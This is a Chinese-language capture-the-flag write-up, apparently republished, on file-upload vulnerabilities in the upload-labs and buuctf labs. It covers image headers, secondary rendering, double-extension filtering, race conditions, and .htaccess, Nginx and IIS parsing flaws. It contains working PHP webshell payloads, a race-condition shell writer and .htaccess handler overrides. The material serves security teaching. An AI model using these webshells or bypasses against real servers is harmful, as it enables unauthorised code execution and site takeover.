web安全文件上传解析漏洞&条件竞争&2次渲染

Posted Nu1LL+

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全文件上传解析漏洞&条件竞争&2次渲染相关的知识,希望对你有一定的参考价值。

一、检测内容-图片后门&二次渲染

Pass-14 图片后门
这里查看源码只允许jpg、png、gif类型文件上传,通过读取上传文件内容开头的两个字节,进行判断。 图片马无法字节解析,需要配合其他漏洞,如文件包含漏洞。

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

绕过
一句话木马开头添加GIF头,如:

GIF89a
 <?php @eval($_POST[pass]);?>

或者生成图片马:

copy 1.jpg/b + 1.php/a 2.jpg

上传完事后文件包含康康
在这里插入图片描述
在这里插入图片描述
文件上传和解析成功

Pass17 二次渲染
二次渲染:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。

这里先上传正常GIF图片,然后与原始的GIF图片进行对比,发现上传后的图片原始数据经过渲染后大小变小
在这里插入图片描述
用010 Editor十六进制编辑工具同时打开原始的GIF和渲染后的GIF,把渲染后的GIF的数据放在原始的GIF处并插入一句php代码,再进行上传
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
可以看到成功解析phinfo代码

二、代码逻辑-单次过滤&条件竞争

Pass11 单次过滤
这里查看源代码,定义了很多黑名单,发现在只要黑名单里面的文件后缀就会单次过滤为空,所以可以通过1.pphphp双写进行绕过
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
绕过成功

Pass18 条件竞争
条件竞争:在Web安全中,大致就是检测文件后缀,不符合条件,就删除。这种方式。所以我们使用多线程并发去访问该文件。总会碰到在删除文件这个时间段之前访问到PHP文件。一旦成功访问,就说明写了一个Shell。 攻击流程逻辑大概是这样。上传shell-不断访问shell.php shell生成马.php–删除shellp.php

查看源码,它这里逻辑是先移动保存文件后过滤,所以这里就存在了条件竞争问题,在它没有删除之前先访问到,在文件上传的时候不断访问文件进行一个写入的操作
在这里插入图片描述
再看这段php,大致意思就是访问到这个代码,就会写入shell.php一句话木马

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["test"])?>');?>

完事之后进行上传抓包
在这里插入图片描述
接着使用python脚本去不停访问cmd.php,一直到成功为止。

import requests
url = "http://192.168.111.128/upload-labs-master/upload/cmd.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

在这里插入图片描述
在这里插入图片描述
这里成功的访问到了cmd.php,并生成了x.php一句话木马

三、解析安全-格式变异&中间件解析

Pass03 php5绕过
在这里插入图片描述
可以看到上传成功,再利用解析漏洞即可

Pass04 .htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置,通过.htaccess文件可以实现网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能,一般.htaccess可以用来留后门和针对黑名单绕过

//.htaccess内容
<FilesMatch "shell.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

这样就能把shell.jpg解析成php

Nginx 文件名逻辑漏洞(CVE-2013-4547)
Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
官网地址:https://vulhub.org/

在这里插入图片描述
然后来到那个目录输入下面两个命令即可

docker-compose build //重构
docker-compose up -d  //开启
docker-compose down //关闭

在这里插入图片描述
由于内个靶场下载的实在太慢,我直接转向了buuctf,参考:https://blog.csdn.net/qq_36241198/article/details/115242982
在这里插入图片描述
Nginx 解析漏洞
nginx解析漏洞因为用户配置不当造成的漏洞。

1.jpg/.php、1.jpg/.php,1.jpg会被当成php格式解析,nginx和iis7.x解析漏洞类似,都是加上/.php后文件以php格式解析。配置文件vim /etc/php5/fpm/php.ini、vim /etc/php5/fpm/pool.d/www.conf,关键配置项: cgi.fix_pathinfo=1,security.limit_extensions=允许解析其他格式为php,则存在解析漏洞。

参考:https://blog.csdn.net/qq_36241198/article/details/115104244
在这里插入图片描述
IIS 解析漏洞
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 IIS目前只适用于 目前只适用于Windows系统,不适用于其他操作系统。

IIS 6.x
基于文件名:
该版本 默认会将 *.asp;.jpg 此种格式的文件名,当成Asp解析,原理是 服务器默认不解析; 号及其后面的内容,相当于截断。

基于文件夹名:
该版本 默认会将 *.asp/目录下的所有文件当成Asp解析。

IIS 7.x
IIS7.x版本 在Fast-CGI运行模式下,在任意文件,例:test.jpg后面加上/.php,会将test.jpg 解析为php文

IISPUT任意文件写入
IIS Server 在 Web 服务扩展中开启了 WebDAV之后,支持多种请求,配合写入权限,可造成任意文件写入

四、buuctf文件上传练习

[ACTF2020 新生赛]Upload
1.MIME绕过
2.黑名单phtml绕过
在这里插入图片描述
在这里插入图片描述
[GXYCTF2019]BabyUpload
1.MIME绕过先上传 .htaccess

<FilesMatch "11.png">

SetHandler application/x-httpd-php

</FilesMatch>

2.再上传GIF一句话木马

GIF89a?
<script language="php">eval($_POST['a']);</script>

在这里插入图片描述
.htaccess就是将图片解析为php类型文件

[极客大挑战 2019]Upload
1.MIME绕过,phtml后缀绕过
2.再上传GIF一句话木马

GIF89a?
<script language="php">eval($_POST['a']);</script>

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

以上是关于web安全文件上传解析漏洞&条件竞争&2次渲染的主要内容,如果未能解决你的问题,请参考以下文章

Web安全之文件上传漏洞

web安全文件上传漏洞&代码函数&格式后缀&场景

文件上传漏洞及解析漏洞总结

第四天——Web安全之文件上传漏洞专题.

moctf 没时间解释了 条件竞争漏洞

MOTCF 没时间解释了 条件竞争漏洞